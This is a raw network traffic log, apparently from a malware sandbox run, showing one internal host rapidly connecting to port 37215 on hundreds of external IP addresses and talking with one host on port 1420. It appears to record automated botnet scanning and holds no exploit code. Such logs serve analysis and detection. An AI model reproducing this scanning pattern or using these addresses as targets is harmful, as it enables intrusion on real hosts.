Nov 3, 2024 15:37:18.425386906 CET	46068	37215	192.168.2.14	156.218.30.46
Nov 3, 2024 15:37:18.425388098 CET	43642	37215	192.168.2.14	41.61.10.217
Nov 3, 2024 15:37:18.425386906 CET	47370	37215	192.168.2.14	156.125.31.160
Nov 3, 2024 15:37:18.425389051 CET	55452	37215	192.168.2.14	41.206.130.169
Nov 3, 2024 15:37:18.425386906 CET	51568	37215	192.168.2.14	41.28.154.247
Nov 3, 2024 15:37:18.425390959 CET	54502	37215	192.168.2.14	197.4.101.8
Nov 3, 2024 15:37:18.425395012 CET	46902	37215	192.168.2.14	156.196.210.138
Nov 3, 2024 15:37:18.425395012 CET	46234	37215	192.168.2.14	41.44.88.222
Nov 3, 2024 15:37:18.425395012 CET	42944	37215	192.168.2.14	197.147.64.213
Nov 3, 2024 15:37:18.425389051 CET	55450	37215	192.168.2.14	41.50.59.30
Nov 3, 2024 15:37:18.425389051 CET	42132	37215	192.168.2.14	156.132.155.248
Nov 3, 2024 15:37:18.425389051 CET	35186	37215	192.168.2.14	41.114.3.159
Nov 3, 2024 15:37:18.425389051 CET	38286	37215	192.168.2.14	197.149.134.205
Nov 3, 2024 15:37:18.425389051 CET	52624	37215	192.168.2.14	156.248.218.251
Nov 3, 2024 15:37:18.425389051 CET	41640	37215	192.168.2.14	41.231.253.221
Nov 3, 2024 15:37:18.425401926 CET	51412	37215	192.168.2.14	197.25.127.11
Nov 3, 2024 15:37:18.425406933 CET	32902	37215	192.168.2.14	41.56.99.224
Nov 3, 2024 15:37:18.425409079 CET	41230	37215	192.168.2.14	41.87.115.234
Nov 3, 2024 15:37:18.425410032 CET	34060	37215	192.168.2.14	197.176.30.55
Nov 3, 2024 15:37:18.425415039 CET	41586	37215	192.168.2.14	197.103.233.17
Nov 3, 2024 15:37:18.425416946 CET	60366	37215	192.168.2.14	156.222.167.49
Nov 3, 2024 15:37:18.425417900 CET	45284	37215	192.168.2.14	41.30.145.90
Nov 3, 2024 15:37:18.425420046 CET	49198	37215	192.168.2.14	197.64.58.243
Nov 3, 2024 15:37:18.425424099 CET	35804	37215	192.168.2.14	156.222.131.20
Nov 3, 2024 15:37:18.425470114 CET	60158	37215	192.168.2.14	156.218.149.19
Nov 3, 2024 15:37:18.425471067 CET	59684	37215	192.168.2.14	156.116.52.15
Nov 3, 2024 15:37:18.425471067 CET	36594	37215	192.168.2.14	156.105.93.217
Nov 3, 2024 15:37:18.425472975 CET	39456	37215	192.168.2.14	197.236.148.241
Nov 3, 2024 15:37:18.425472975 CET	43786	37215	192.168.2.14	156.155.194.250
Nov 3, 2024 15:37:18.425476074 CET	39840	37215	192.168.2.14	156.79.246.188
Nov 3, 2024 15:37:18.425476074 CET	39178	37215	192.168.2.14	41.37.93.47
Nov 3, 2024 15:37:18.425482035 CET	45902	37215	192.168.2.14	156.240.11.196
Nov 3, 2024 15:37:18.425482035 CET	53610	37215	192.168.2.14	41.181.36.69
Nov 3, 2024 15:37:18.425482035 CET	34156	37215	192.168.2.14	41.208.177.241
Nov 3, 2024 15:37:18.425482035 CET	46480	37215	192.168.2.14	156.101.89.153
Nov 3, 2024 15:37:18.425482988 CET	44916	37215	192.168.2.14	156.158.66.213
Nov 3, 2024 15:37:18.425482035 CET	54600	37215	192.168.2.14	156.132.215.120
Nov 3, 2024 15:37:18.425482988 CET	58276	37215	192.168.2.14	41.206.163.139
Nov 3, 2024 15:37:18.425482988 CET	33730	37215	192.168.2.14	156.252.190.15
Nov 3, 2024 15:37:18.425482988 CET	33764	37215	192.168.2.14	41.110.61.43
Nov 3, 2024 15:37:18.425482988 CET	42884	37215	192.168.2.14	156.73.198.116
Nov 3, 2024 15:37:18.425498962 CET	37326	37215	192.168.2.14	156.94.115.208
Nov 3, 2024 15:37:18.425498962 CET	56960	37215	192.168.2.14	156.72.20.147
Nov 3, 2024 15:37:18.425498962 CET	34482	37215	192.168.2.14	156.100.58.82
Nov 3, 2024 15:37:18.425499916 CET	42318	37215	192.168.2.14	41.219.211.110
Nov 3, 2024 15:37:18.425499916 CET	40702	37215	192.168.2.14	197.168.105.0
Nov 3, 2024 15:37:18.425499916 CET	33542	37215	192.168.2.14	156.32.187.219
Nov 3, 2024 15:37:18.425501108 CET	39098	37215	192.168.2.14	41.115.134.54
Nov 3, 2024 15:37:18.425502062 CET	52718	37215	192.168.2.14	41.116.76.59
Nov 3, 2024 15:37:18.425499916 CET	48204	37215	192.168.2.14	41.64.121.123
Nov 3, 2024 15:37:18.425502062 CET	49066	37215	192.168.2.14	156.178.161.125
Nov 3, 2024 15:37:18.425502062 CET	54428	37215	192.168.2.14	156.117.101.221
Nov 3, 2024 15:37:18.425503016 CET	58748	37215	192.168.2.14	41.134.217.71
Nov 3, 2024 15:37:18.425501108 CET	50422	37215	192.168.2.14	156.87.93.196
Nov 3, 2024 15:37:18.425502062 CET	49468	37215	192.168.2.14	41.81.218.198
Nov 3, 2024 15:37:18.425503016 CET	39632	37215	192.168.2.14	197.171.92.70
Nov 3, 2024 15:37:18.425501108 CET	50218	37215	192.168.2.14	41.124.100.105
Nov 3, 2024 15:37:18.425503016 CET	46318	37215	192.168.2.14	41.117.220.187
Nov 3, 2024 15:37:18.425503016 CET	43310	37215	192.168.2.14	41.208.63.119
Nov 3, 2024 15:37:18.425518990 CET	55334	37215	192.168.2.14	41.170.82.40
Nov 3, 2024 15:37:18.425518990 CET	35088	37215	192.168.2.14	156.187.208.176
Nov 3, 2024 15:37:18.425518990 CET	53258	37215	192.168.2.14	156.75.31.38
Nov 3, 2024 15:37:18.425518990 CET	55838	37215	192.168.2.14	197.72.90.5
Nov 3, 2024 15:37:18.425518990 CET	48638	37215	192.168.2.14	156.25.86.246
Nov 3, 2024 15:37:18.425518990 CET	33250	37215	192.168.2.14	156.57.255.166
Nov 3, 2024 15:37:18.425522089 CET	41162	37215	192.168.2.14	197.73.50.52
Nov 3, 2024 15:37:18.425520897 CET	55894	37215	192.168.2.14	197.237.120.56
Nov 3, 2024 15:37:18.425518990 CET	57226	37215	192.168.2.14	197.244.133.121
Nov 3, 2024 15:37:18.425520897 CET	54606	37215	192.168.2.14	156.65.148.244
Nov 3, 2024 15:37:18.425523996 CET	36008	37215	192.168.2.14	197.77.226.77
Nov 3, 2024 15:37:18.425522089 CET	35492	37215	192.168.2.14	156.62.132.188
Nov 3, 2024 15:37:18.425518990 CET	39966	37215	192.168.2.14	41.121.224.242
Nov 3, 2024 15:37:18.425523043 CET	34820	37215	192.168.2.14	197.65.50.117
Nov 3, 2024 15:37:18.425518990 CET	60116	37215	192.168.2.14	156.1.197.27
Nov 3, 2024 15:37:18.425523996 CET	48216	37215	192.168.2.14	197.149.180.27
Nov 3, 2024 15:37:18.425518990 CET	43610	37215	192.168.2.14	197.36.219.165
Nov 3, 2024 15:37:18.425523996 CET	42852	37215	192.168.2.14	156.45.156.103
Nov 3, 2024 15:37:18.425518990 CET	33548	37215	192.168.2.14	41.245.36.19
Nov 3, 2024 15:37:18.425524950 CET	55956	37215	192.168.2.14	156.35.57.9
Nov 3, 2024 15:37:18.425524950 CET	48060	37215	192.168.2.14	197.239.31.222
Nov 3, 2024 15:37:18.425520897 CET	60112	37215	192.168.2.14	197.82.192.210
Nov 3, 2024 15:37:18.425520897 CET	58630	37215	192.168.2.14	41.99.4.242
Nov 3, 2024 15:37:18.425522089 CET	49962	37215	192.168.2.14	41.140.24.249
Nov 3, 2024 15:37:18.425544024 CET	49212	37215	192.168.2.14	197.51.53.55
Nov 3, 2024 15:37:18.425544024 CET	34842	37215	192.168.2.14	41.55.153.40
Nov 3, 2024 15:37:18.425544024 CET	36104	37215	192.168.2.14	41.173.42.20
Nov 3, 2024 15:37:18.425544024 CET	37400	37215	192.168.2.14	41.24.186.179
Nov 3, 2024 15:37:18.425544977 CET	56072	37215	192.168.2.14	156.215.238.162
Nov 3, 2024 15:37:18.425544024 CET	34810	37215	192.168.2.14	41.123.220.157
Nov 3, 2024 15:37:18.425544977 CET	40084	37215	192.168.2.14	41.151.96.59
Nov 3, 2024 15:37:18.425545931 CET	34724	37215	192.168.2.14	197.14.119.91
Nov 3, 2024 15:37:18.425544977 CET	48058	37215	192.168.2.14	41.90.238.22
Nov 3, 2024 15:37:18.425545931 CET	49566	37215	192.168.2.14	41.0.36.115
Nov 3, 2024 15:37:18.425546885 CET	59914	37215	192.168.2.14	197.68.141.179
Nov 3, 2024 15:37:18.425546885 CET	44656	37215	192.168.2.14	41.59.95.34
Nov 3, 2024 15:37:18.425544024 CET	37002	37215	192.168.2.14	41.91.180.27
Nov 3, 2024 15:37:18.425546885 CET	59180	37215	192.168.2.14	197.83.169.153
Nov 3, 2024 15:37:18.425544024 CET	56416	37215	192.168.2.14	197.120.32.59
Nov 3, 2024 15:37:18.425546885 CET	47112	37215	192.168.2.14	197.50.242.100
Nov 3, 2024 15:37:18.425548077 CET	37464	37215	192.168.2.14	156.146.220.8
Nov 3, 2024 15:37:18.425544977 CET	54620	37215	192.168.2.14	156.1.175.26
Nov 3, 2024 15:37:18.425546885 CET	39698	37215	192.168.2.14	41.57.195.204
Nov 3, 2024 15:37:18.425544024 CET	44552	37215	192.168.2.14	156.99.216.209
Nov 3, 2024 15:37:18.425549030 CET	58602	37215	192.168.2.14	197.104.105.200
Nov 3, 2024 15:37:18.425544977 CET	51530	37215	192.168.2.14	197.158.205.166
Nov 3, 2024 15:37:18.425548077 CET	54902	37215	192.168.2.14	156.203.233.92
Nov 3, 2024 15:37:18.425549030 CET	54504	37215	192.168.2.14	41.197.148.234
Nov 3, 2024 15:37:18.425548077 CET	55202	37215	192.168.2.14	197.173.226.251
Nov 3, 2024 15:37:18.425548077 CET	42698	37215	192.168.2.14	156.246.196.31
Nov 3, 2024 15:37:18.425554991 CET	42608	37215	192.168.2.14	197.247.221.194
Nov 3, 2024 15:37:18.425554991 CET	56984	37215	192.168.2.14	156.249.84.186
Nov 3, 2024 15:37:18.425559998 CET	56662	37215	192.168.2.14	156.85.157.22
Nov 3, 2024 15:37:18.425559998 CET	38634	37215	192.168.2.14	156.154.46.55
Nov 3, 2024 15:37:18.430800915 CET	1420	34720	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:18.430811882 CET	37215	39952	197.90.159.24	192.168.2.14
Nov 3, 2024 15:37:18.430877924 CET	34720	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:18.430901051 CET	39952	37215	192.168.2.14	197.90.159.24
Nov 3, 2024 15:37:18.430912018 CET	37215	47912	197.16.70.251	192.168.2.14
Nov 3, 2024 15:37:18.430922031 CET	37215	51816	197.224.117.44	192.168.2.14
Nov 3, 2024 15:37:18.430931091 CET	37215	54480	41.247.170.119	192.168.2.14
Nov 3, 2024 15:37:18.430944920 CET	37215	42402	41.161.10.54	192.168.2.14
Nov 3, 2024 15:37:18.430951118 CET	47912	37215	192.168.2.14	197.16.70.251
Nov 3, 2024 15:37:18.430957079 CET	54480	37215	192.168.2.14	41.247.170.119
Nov 3, 2024 15:37:18.430969000 CET	37215	51862	156.97.250.9	192.168.2.14
Nov 3, 2024 15:37:18.430974007 CET	51816	37215	192.168.2.14	197.224.117.44
Nov 3, 2024 15:37:18.430983067 CET	37215	56290	156.112.101.146	192.168.2.14
Nov 3, 2024 15:37:18.430982113 CET	42402	37215	192.168.2.14	41.161.10.54
Nov 3, 2024 15:37:18.431003094 CET	37215	40914	197.188.33.13	192.168.2.14
Nov 3, 2024 15:37:18.431010962 CET	51862	37215	192.168.2.14	156.97.250.9
Nov 3, 2024 15:37:18.431015015 CET	56290	37215	192.168.2.14	156.112.101.146
Nov 3, 2024 15:37:18.431020021 CET	37215	50084	41.211.34.10	192.168.2.14
Nov 3, 2024 15:37:18.431030989 CET	40914	37215	192.168.2.14	197.188.33.13
Nov 3, 2024 15:37:18.431032896 CET	37215	45172	197.90.144.201	192.168.2.14
Nov 3, 2024 15:37:18.431046963 CET	37215	44292	156.54.59.119	192.168.2.14
Nov 3, 2024 15:37:18.431049109 CET	50084	37215	192.168.2.14	41.211.34.10
Nov 3, 2024 15:37:18.431057930 CET	37215	53970	156.161.87.44	192.168.2.14
Nov 3, 2024 15:37:18.431062937 CET	45172	37215	192.168.2.14	197.90.144.201
Nov 3, 2024 15:37:18.431067944 CET	37215	33460	41.97.40.64	192.168.2.14
Nov 3, 2024 15:37:18.431076050 CET	44292	37215	192.168.2.14	156.54.59.119
Nov 3, 2024 15:37:18.431085110 CET	37215	56188	197.111.18.97	192.168.2.14
Nov 3, 2024 15:37:18.431094885 CET	37215	56030	41.235.192.220	192.168.2.14
Nov 3, 2024 15:37:18.431104898 CET	37215	47976	41.101.55.111	192.168.2.14
Nov 3, 2024 15:37:18.431116104 CET	37215	41452	197.151.158.33	192.168.2.14
Nov 3, 2024 15:37:18.431119919 CET	53970	37215	192.168.2.14	156.161.87.44
Nov 3, 2024 15:37:18.431121111 CET	33460	37215	192.168.2.14	41.97.40.64
Nov 3, 2024 15:37:18.431124926 CET	56030	37215	192.168.2.14	41.235.192.220
Nov 3, 2024 15:37:18.431127071 CET	34720	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:18.431127071 CET	56188	37215	192.168.2.14	197.111.18.97
Nov 3, 2024 15:37:18.431130886 CET	47976	37215	192.168.2.14	41.101.55.111
Nov 3, 2024 15:37:18.431133986 CET	37215	34834	197.21.175.100	192.168.2.14
Nov 3, 2024 15:37:18.431147099 CET	37215	39822	41.69.242.159	192.168.2.14
Nov 3, 2024 15:37:18.431152105 CET	41452	37215	192.168.2.14	197.151.158.33
Nov 3, 2024 15:37:18.431154013 CET	35945	37215	192.168.2.14	156.126.82.132
Nov 3, 2024 15:37:18.431159019 CET	37215	45662	41.20.81.173	192.168.2.14
Nov 3, 2024 15:37:18.431164026 CET	35945	37215	192.168.2.14	41.2.205.232
Nov 3, 2024 15:37:18.431166887 CET	34834	37215	192.168.2.14	197.21.175.100
Nov 3, 2024 15:37:18.431170940 CET	37215	45162	197.100.11.182	192.168.2.14
Nov 3, 2024 15:37:18.431190014 CET	45662	37215	192.168.2.14	41.20.81.173
Nov 3, 2024 15:37:18.431190968 CET	35945	37215	192.168.2.14	156.240.241.161
Nov 3, 2024 15:37:18.431191921 CET	39822	37215	192.168.2.14	41.69.242.159
Nov 3, 2024 15:37:18.431201935 CET	35945	37215	192.168.2.14	41.62.183.145
Nov 3, 2024 15:37:18.431201935 CET	35945	37215	192.168.2.14	41.39.152.49
Nov 3, 2024 15:37:18.431205034 CET	45162	37215	192.168.2.14	197.100.11.182
Nov 3, 2024 15:37:18.431210995 CET	35945	37215	192.168.2.14	156.248.203.217
Nov 3, 2024 15:37:18.431221008 CET	35945	37215	192.168.2.14	156.205.119.159
Nov 3, 2024 15:37:18.431225061 CET	35945	37215	192.168.2.14	197.128.131.218
Nov 3, 2024 15:37:18.431227922 CET	35945	37215	192.168.2.14	41.191.137.153
Nov 3, 2024 15:37:18.431229115 CET	35945	37215	192.168.2.14	156.113.176.57
Nov 3, 2024 15:37:18.431229115 CET	35945	37215	192.168.2.14	197.183.243.178
Nov 3, 2024 15:37:18.431241035 CET	35945	37215	192.168.2.14	156.18.237.136
Nov 3, 2024 15:37:18.431241035 CET	35945	37215	192.168.2.14	197.135.255.208
Nov 3, 2024 15:37:18.431250095 CET	35945	37215	192.168.2.14	197.178.112.157
Nov 3, 2024 15:37:18.431253910 CET	35945	37215	192.168.2.14	156.102.4.30
Nov 3, 2024 15:37:18.431255102 CET	35945	37215	192.168.2.14	156.231.239.127
Nov 3, 2024 15:37:18.431266069 CET	35945	37215	192.168.2.14	41.134.152.9
Nov 3, 2024 15:37:18.431266069 CET	35945	37215	192.168.2.14	156.199.169.223
Nov 3, 2024 15:37:18.431268930 CET	35945	37215	192.168.2.14	156.145.2.128
Nov 3, 2024 15:37:18.431269884 CET	35945	37215	192.168.2.14	197.5.72.243
Nov 3, 2024 15:37:18.431276083 CET	35945	37215	192.168.2.14	156.36.73.64
Nov 3, 2024 15:37:18.431276083 CET	35945	37215	192.168.2.14	41.115.229.209
Nov 3, 2024 15:37:18.431287050 CET	35945	37215	192.168.2.14	41.97.38.191
Nov 3, 2024 15:37:18.431293011 CET	35945	37215	192.168.2.14	156.111.91.134
Nov 3, 2024 15:37:18.431303978 CET	35945	37215	192.168.2.14	156.203.168.102
Nov 3, 2024 15:37:18.431305885 CET	35945	37215	192.168.2.14	156.188.106.49
Nov 3, 2024 15:37:18.431309938 CET	35945	37215	192.168.2.14	197.18.94.59
Nov 3, 2024 15:37:18.431317091 CET	35945	37215	192.168.2.14	197.209.55.118
Nov 3, 2024 15:37:18.431329966 CET	35945	37215	192.168.2.14	197.151.31.95
Nov 3, 2024 15:37:18.431338072 CET	35945	37215	192.168.2.14	41.180.69.115
Nov 3, 2024 15:37:18.431338072 CET	35945	37215	192.168.2.14	41.162.159.182
Nov 3, 2024 15:37:18.431338072 CET	35945	37215	192.168.2.14	156.122.142.102
Nov 3, 2024 15:37:18.431338072 CET	35945	37215	192.168.2.14	197.32.113.250
Nov 3, 2024 15:37:18.431339979 CET	35945	37215	192.168.2.14	41.155.2.216
Nov 3, 2024 15:37:18.431341887 CET	35945	37215	192.168.2.14	197.190.181.187
Nov 3, 2024 15:37:18.431349993 CET	35945	37215	192.168.2.14	156.148.141.13
Nov 3, 2024 15:37:18.431355953 CET	35945	37215	192.168.2.14	197.34.211.124
Nov 3, 2024 15:37:18.431360960 CET	35945	37215	192.168.2.14	156.1.47.213
Nov 3, 2024 15:37:18.431360960 CET	35945	37215	192.168.2.14	156.47.199.192
Nov 3, 2024 15:37:18.431360960 CET	35945	37215	192.168.2.14	197.195.105.140
Nov 3, 2024 15:37:18.431360960 CET	35945	37215	192.168.2.14	197.43.244.127
Nov 3, 2024 15:37:18.431361914 CET	35945	37215	192.168.2.14	41.49.170.170
Nov 3, 2024 15:37:18.431361914 CET	35945	37215	192.168.2.14	197.176.137.180
Nov 3, 2024 15:37:18.431366920 CET	35945	37215	192.168.2.14	197.118.252.73
Nov 3, 2024 15:37:18.431369066 CET	35945	37215	192.168.2.14	41.113.138.70
Nov 3, 2024 15:37:18.431375027 CET	35945	37215	192.168.2.14	197.193.194.203
Nov 3, 2024 15:37:18.431385040 CET	35945	37215	192.168.2.14	41.18.122.45
Nov 3, 2024 15:37:18.431385040 CET	35945	37215	192.168.2.14	41.202.111.16
Nov 3, 2024 15:37:18.431386948 CET	35945	37215	192.168.2.14	197.199.245.153
Nov 3, 2024 15:37:18.431400061 CET	35945	37215	192.168.2.14	41.13.71.94
Nov 3, 2024 15:37:18.431404114 CET	35945	37215	192.168.2.14	156.135.7.8
Nov 3, 2024 15:37:18.431406975 CET	35945	37215	192.168.2.14	197.156.89.3
Nov 3, 2024 15:37:18.431413889 CET	35945	37215	192.168.2.14	197.100.198.218
Nov 3, 2024 15:37:18.431417942 CET	35945	37215	192.168.2.14	197.131.44.183
Nov 3, 2024 15:37:18.431426048 CET	35945	37215	192.168.2.14	156.63.30.199
Nov 3, 2024 15:37:18.431426048 CET	35945	37215	192.168.2.14	197.203.78.26
Nov 3, 2024 15:37:18.431427956 CET	35945	37215	192.168.2.14	156.9.153.142
Nov 3, 2024 15:37:18.431444883 CET	35945	37215	192.168.2.14	156.228.99.167
Nov 3, 2024 15:37:18.431452036 CET	35945	37215	192.168.2.14	156.134.156.35
Nov 3, 2024 15:37:18.431453943 CET	35945	37215	192.168.2.14	41.13.157.56
Nov 3, 2024 15:37:18.431453943 CET	35945	37215	192.168.2.14	156.97.201.52
Nov 3, 2024 15:37:18.431453943 CET	35945	37215	192.168.2.14	156.91.244.223
Nov 3, 2024 15:37:18.431453943 CET	35945	37215	192.168.2.14	41.2.17.56
Nov 3, 2024 15:37:18.431453943 CET	35945	37215	192.168.2.14	197.202.85.76
Nov 3, 2024 15:37:18.431453943 CET	35945	37215	192.168.2.14	156.118.42.159
Nov 3, 2024 15:37:18.431453943 CET	35945	37215	192.168.2.14	156.221.78.194
Nov 3, 2024 15:37:18.431467056 CET	35945	37215	192.168.2.14	41.12.43.104
Nov 3, 2024 15:37:18.431472063 CET	35945	37215	192.168.2.14	41.193.238.250
Nov 3, 2024 15:37:18.431489944 CET	35945	37215	192.168.2.14	197.133.199.189
Nov 3, 2024 15:37:18.431489944 CET	35945	37215	192.168.2.14	156.109.65.192
Nov 3, 2024 15:37:18.431490898 CET	35945	37215	192.168.2.14	41.86.183.54
Nov 3, 2024 15:37:18.431498051 CET	35945	37215	192.168.2.14	41.21.92.5
Nov 3, 2024 15:37:18.431510925 CET	35945	37215	192.168.2.14	41.94.135.246
Nov 3, 2024 15:37:18.431512117 CET	35945	37215	192.168.2.14	197.152.139.28
Nov 3, 2024 15:37:18.431515932 CET	35945	37215	192.168.2.14	197.8.36.161
Nov 3, 2024 15:37:18.431519985 CET	35945	37215	192.168.2.14	41.198.65.150
Nov 3, 2024 15:37:18.431519985 CET	35945	37215	192.168.2.14	197.140.169.128
Nov 3, 2024 15:37:18.431523085 CET	35945	37215	192.168.2.14	156.147.79.209
Nov 3, 2024 15:37:18.431534052 CET	35945	37215	192.168.2.14	197.89.225.93
Nov 3, 2024 15:37:18.431541920 CET	35945	37215	192.168.2.14	197.80.170.190
Nov 3, 2024 15:37:18.431543112 CET	35945	37215	192.168.2.14	156.45.116.92
Nov 3, 2024 15:37:18.431561947 CET	35945	37215	192.168.2.14	156.25.160.70
Nov 3, 2024 15:37:18.431565046 CET	35945	37215	192.168.2.14	41.22.149.160
Nov 3, 2024 15:37:18.431565046 CET	35945	37215	192.168.2.14	41.137.228.118
Nov 3, 2024 15:37:18.431565046 CET	35945	37215	192.168.2.14	41.248.77.185
Nov 3, 2024 15:37:18.431565046 CET	35945	37215	192.168.2.14	197.197.206.101
Nov 3, 2024 15:37:18.431570053 CET	35945	37215	192.168.2.14	41.255.12.183
Nov 3, 2024 15:37:18.431570053 CET	35945	37215	192.168.2.14	197.131.216.242
Nov 3, 2024 15:37:18.431586027 CET	35945	37215	192.168.2.14	41.15.91.35
Nov 3, 2024 15:37:18.431587934 CET	35945	37215	192.168.2.14	156.220.87.145
Nov 3, 2024 15:37:18.431587934 CET	35945	37215	192.168.2.14	156.242.151.175
Nov 3, 2024 15:37:18.431591034 CET	35945	37215	192.168.2.14	156.133.148.220
Nov 3, 2024 15:37:18.431591034 CET	35945	37215	192.168.2.14	41.230.15.209
Nov 3, 2024 15:37:18.431606054 CET	35945	37215	192.168.2.14	197.97.212.107
Nov 3, 2024 15:37:18.431608915 CET	35945	37215	192.168.2.14	156.180.95.19
Nov 3, 2024 15:37:18.431608915 CET	35945	37215	192.168.2.14	197.178.129.170
Nov 3, 2024 15:37:18.431611061 CET	35945	37215	192.168.2.14	41.166.221.82
Nov 3, 2024 15:37:18.431615114 CET	35945	37215	192.168.2.14	41.104.114.204
Nov 3, 2024 15:37:18.431622028 CET	35945	37215	192.168.2.14	197.75.158.225
Nov 3, 2024 15:37:18.431622982 CET	35945	37215	192.168.2.14	197.13.165.19
Nov 3, 2024 15:37:18.431639910 CET	35945	37215	192.168.2.14	197.116.96.73
Nov 3, 2024 15:37:18.431641102 CET	35945	37215	192.168.2.14	41.239.12.33
Nov 3, 2024 15:37:18.431644917 CET	35945	37215	192.168.2.14	41.252.39.223
Nov 3, 2024 15:37:18.431644917 CET	35945	37215	192.168.2.14	156.213.127.32
Nov 3, 2024 15:37:18.431647062 CET	35945	37215	192.168.2.14	156.160.129.117
Nov 3, 2024 15:37:18.431653976 CET	35945	37215	192.168.2.14	41.32.7.105
Nov 3, 2024 15:37:18.431654930 CET	35945	37215	192.168.2.14	197.90.6.82
Nov 3, 2024 15:37:18.431654930 CET	35945	37215	192.168.2.14	197.216.187.193
Nov 3, 2024 15:37:18.431654930 CET	35945	37215	192.168.2.14	41.179.34.217
Nov 3, 2024 15:37:18.431655884 CET	35945	37215	192.168.2.14	41.141.20.171
Nov 3, 2024 15:37:18.431668997 CET	35945	37215	192.168.2.14	197.237.92.14
Nov 3, 2024 15:37:18.431670904 CET	35945	37215	192.168.2.14	41.32.167.140
Nov 3, 2024 15:37:18.431670904 CET	35945	37215	192.168.2.14	197.253.82.173
Nov 3, 2024 15:37:18.431672096 CET	35945	37215	192.168.2.14	156.145.199.238
Nov 3, 2024 15:37:18.431670904 CET	35945	37215	192.168.2.14	156.108.20.86
Nov 3, 2024 15:37:18.431672096 CET	35945	37215	192.168.2.14	41.133.163.165
Nov 3, 2024 15:37:18.431674004 CET	35945	37215	192.168.2.14	197.30.6.138
Nov 3, 2024 15:37:18.431674957 CET	35945	37215	192.168.2.14	197.19.167.32
Nov 3, 2024 15:37:18.431693077 CET	35945	37215	192.168.2.14	156.230.94.68
Nov 3, 2024 15:37:18.431696892 CET	35945	37215	192.168.2.14	156.161.106.98
Nov 3, 2024 15:37:18.431696892 CET	35945	37215	192.168.2.14	156.133.182.148
Nov 3, 2024 15:37:18.431699991 CET	35945	37215	192.168.2.14	197.77.217.105
Nov 3, 2024 15:37:18.431701899 CET	35945	37215	192.168.2.14	197.137.107.247
Nov 3, 2024 15:37:18.431719065 CET	35945	37215	192.168.2.14	156.121.191.239
Nov 3, 2024 15:37:18.431719065 CET	35945	37215	192.168.2.14	41.146.198.115
Nov 3, 2024 15:37:18.431720018 CET	35945	37215	192.168.2.14	197.104.29.216
Nov 3, 2024 15:37:18.431719065 CET	35945	37215	192.168.2.14	41.2.91.90
Nov 3, 2024 15:37:18.431720018 CET	35945	37215	192.168.2.14	197.103.44.82
Nov 3, 2024 15:37:18.431721926 CET	35945	37215	192.168.2.14	156.117.6.80
Nov 3, 2024 15:37:18.431720018 CET	35945	37215	192.168.2.14	197.196.217.131
Nov 3, 2024 15:37:18.431720018 CET	35945	37215	192.168.2.14	41.180.141.85
Nov 3, 2024 15:37:18.431737900 CET	35945	37215	192.168.2.14	156.203.39.181
Nov 3, 2024 15:37:18.431744099 CET	35945	37215	192.168.2.14	41.101.67.5
Nov 3, 2024 15:37:18.431744099 CET	35945	37215	192.168.2.14	156.119.125.214
Nov 3, 2024 15:37:18.431744099 CET	35945	37215	192.168.2.14	197.213.128.252
Nov 3, 2024 15:37:18.431747913 CET	35945	37215	192.168.2.14	197.185.33.220
Nov 3, 2024 15:37:18.431747913 CET	35945	37215	192.168.2.14	197.190.115.74
Nov 3, 2024 15:37:18.431751966 CET	35945	37215	192.168.2.14	41.218.193.151
Nov 3, 2024 15:37:18.431763887 CET	35945	37215	192.168.2.14	41.141.224.213
Nov 3, 2024 15:37:18.431773901 CET	35945	37215	192.168.2.14	197.235.125.76
Nov 3, 2024 15:37:18.431773901 CET	35945	37215	192.168.2.14	41.113.9.75
Nov 3, 2024 15:37:18.431777000 CET	35945	37215	192.168.2.14	156.21.136.220
Nov 3, 2024 15:37:18.431785107 CET	35945	37215	192.168.2.14	197.250.153.134
Nov 3, 2024 15:37:18.431785107 CET	35945	37215	192.168.2.14	156.36.67.5
Nov 3, 2024 15:37:18.431794882 CET	35945	37215	192.168.2.14	156.80.209.158
Nov 3, 2024 15:37:18.431807995 CET	35945	37215	192.168.2.14	197.63.208.33
Nov 3, 2024 15:37:18.431808949 CET	35945	37215	192.168.2.14	197.94.129.32
Nov 3, 2024 15:37:18.431808949 CET	35945	37215	192.168.2.14	197.132.131.224
Nov 3, 2024 15:37:18.431808949 CET	35945	37215	192.168.2.14	41.227.19.190
Nov 3, 2024 15:37:18.431808949 CET	35945	37215	192.168.2.14	41.73.166.137
Nov 3, 2024 15:37:18.431814909 CET	35945	37215	192.168.2.14	197.149.243.121
Nov 3, 2024 15:37:18.431817055 CET	35945	37215	192.168.2.14	156.247.103.61
Nov 3, 2024 15:37:18.431817055 CET	35945	37215	192.168.2.14	41.119.160.110
Nov 3, 2024 15:37:18.431817055 CET	35945	37215	192.168.2.14	41.52.156.12
Nov 3, 2024 15:37:18.431827068 CET	35945	37215	192.168.2.14	41.155.68.238
Nov 3, 2024 15:37:18.431833029 CET	35945	37215	192.168.2.14	156.218.116.219
Nov 3, 2024 15:37:18.431838989 CET	35945	37215	192.168.2.14	156.153.105.20
Nov 3, 2024 15:37:18.431838989 CET	35945	37215	192.168.2.14	197.71.36.50
Nov 3, 2024 15:37:18.431849003 CET	35945	37215	192.168.2.14	156.250.41.143
Nov 3, 2024 15:37:18.431849003 CET	35945	37215	192.168.2.14	41.132.239.2
Nov 3, 2024 15:37:18.431850910 CET	35945	37215	192.168.2.14	41.42.234.105
Nov 3, 2024 15:37:18.431852102 CET	35945	37215	192.168.2.14	41.124.183.1
Nov 3, 2024 15:37:18.431854010 CET	35945	37215	192.168.2.14	41.241.159.56
Nov 3, 2024 15:37:18.431855917 CET	35945	37215	192.168.2.14	197.59.135.234
Nov 3, 2024 15:37:18.431860924 CET	35945	37215	192.168.2.14	41.202.204.146
Nov 3, 2024 15:37:18.431864023 CET	35945	37215	192.168.2.14	156.224.240.236
Nov 3, 2024 15:37:18.431874990 CET	35945	37215	192.168.2.14	41.155.224.69
Nov 3, 2024 15:37:18.431874990 CET	35945	37215	192.168.2.14	197.16.106.60
Nov 3, 2024 15:37:18.431880951 CET	35945	37215	192.168.2.14	197.169.252.135
Nov 3, 2024 15:37:18.431881905 CET	35945	37215	192.168.2.14	197.68.209.101
Nov 3, 2024 15:37:18.431900978 CET	35945	37215	192.168.2.14	156.126.63.51
Nov 3, 2024 15:37:18.431900978 CET	35945	37215	192.168.2.14	197.115.240.83
Nov 3, 2024 15:37:18.431900978 CET	35945	37215	192.168.2.14	41.28.155.43
Nov 3, 2024 15:37:18.431900978 CET	35945	37215	192.168.2.14	156.25.101.200
Nov 3, 2024 15:37:18.431900978 CET	35945	37215	192.168.2.14	41.129.160.164
